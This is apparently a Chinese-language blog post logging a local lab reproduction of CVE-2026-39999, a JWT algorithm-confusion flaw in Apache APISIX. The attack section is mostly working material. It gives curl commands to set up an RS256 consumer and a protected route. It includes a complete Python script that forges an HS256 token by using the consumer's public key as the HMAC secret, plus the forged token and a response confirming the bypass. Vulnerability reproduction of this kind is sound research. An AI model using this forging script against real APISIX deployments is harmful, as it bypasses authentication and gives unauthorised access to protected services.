CVE-2026-39999复现记录

CVE-2026-39999复现记录

影响版本:

Apache APISIX: from v2.2 through v3.16.0.

漏洞原理:

服务器根据客户端传入的alg来选择密码验证算法。导致但一个本该被rs256签名验证的用户jwt被以hs256方式校验,服务端会取本该作为rs256公钥的key进行验证,而公钥攻击方已知,导致可以伪造jwt。

复现流程:

docker配置:详细略
  • etcd-vulnbitnamilegacy/etcd:3.6
  • apisix-vulnapache/apisix:3.16.0-debian
  • upstreamnginx:1.27-alpine
创建一个 RS256 Consumer:

命令行:

curl.exe -X PUT "http://127.0.0.1:19180/apisix/admin/consumers" ^
  -H "X-API-KEY: lab-admin-vuln" ^
  -H "Content-Type: application/json" ^
  -d "{"username":"manual_rs256_consumer","plugins":{"jwt-auth":{"key":"user-key-rs256","algorithm":"RS256","public_key":"-----BEGIN PUBLIC KEY-----nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA79XYBopfnVMKxI533oU2nVFQbEdSPtWRD+xSl73lHLVboGP1lSIZtnEj5AcTN2uDW6AYPiWL2iA3lEEsDTs7JnBUXyl6pysBPfrqC8n/MOXKaD4e8U5GAHFiwHWg2WzHlfFSlFkLjzp0vPkDK+fQ4Cnlrd7shAyitB7use6DHcVCKuI4bFOoFbdI5sBGeyoD833g+ql9bRkH/vf8O+rPwHAnM+47r1iv3lY3ex0P45PRd7U7rq8P8UIw6qOI1tiYuKlFJmjFdcwtYG0dctxWwgL1n+7njrVQoWvuOTSsc9TDMhZkmmSsU3wXjaPxJpydck1C/w9ZLqsctKK5swYWhIcbcnBQIDAQABn-----END PUBLIC KEY-----"}}}"
创建需要jwt验证的受保护路由:

命令行:

curl.exe -X PUT "http://127.0.0.1:19180/apisix/admin/routes/1" ^
  -H "X-API-KEY: lab-admin-vuln" ^
  -H "Content-Type: application/json" ^
  -d "{"plugins":{"jwt-auth":{}},"upstream":{"nodes":{"upstream:80":1},"type":"roundrobin"},"uri":"/hello"}"
生成伪造 token:

脚本:

import argparse
import base64
import hashlib
import hmac
import json
import time

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def encode_json(obj: dict) -> bytes:
    return json.dumps(obj, separators=(",", ":"), sort_keys=True).encode()

def forge_hs256_with_public_key(public_key_text: str, consumer_key: str, expires_in: int) -> str:
    now = int(time.time())
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {
        "exp": now + expires_in,
        "key": consumer_key,
        "nbf": now - 60,
    }

    signing_input = f"{b64url(encode_json(header))}.{b64url(encode_json(payload))}"
    signature = hmac.new(
        public_key_text.encode(),
        signing_input.encode(),
        hashlib.sha256,
    ).digest()
    return f"{signing_input}.{b64url(signature)}"

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Forge an HS256 JWT using an APISIX RS256 consumer's public key as the HMAC secret.",
    )
    parser.add_argument(
        "--public-key",
        default="../keys/public.pem",
        help="Path to the public key PEM file",
    )
    parser.add_argument(
        "--consumer-key",
        default="user-key-rs256",
        help="The JWT payload 'key' claim expected by the APISIX consumer",
    )
    parser.add_argument(
        "--expires-in",
        type=int,
        default=3600,
        help="Token lifetime in seconds",
    )
    args = parser.parse_args()

    with open(args.public_key, "r", encoding="utf-8") as fh:
        public_key_text = fh.read()

    token = forge_hs256_with_public_key(public_key_text, args.consumer_key, args.expires_in)
    print(token)

if __name__ == "__main__":
    main()

直接在线工具解也行

命令行:

python .manualforge_jwt.py --public-key .keyspublic.pem --consumer-key user-key-rs256

参数讲解:.keyspublic.pem为使用的key,user-key-rs256为将要伪造的用户的标识,服务端根据这个查找该用哪个用户的密钥。

访问鉴权页面:

命令行:

curl.exe "http://127.0.0.1:19080/hello?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODQ3MjY1NzEsImtleSI6InVzZXIta2V5LXJzMjU2IiwibmJmIjoxNzg0NzIyOTExfQ.bFh-LQgG8xNupOal0BgkFPOfUPcu5Qz_SRLE15fId7Y"
复现成功:
{"message":"lab upstream reached","service":"nginx"}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇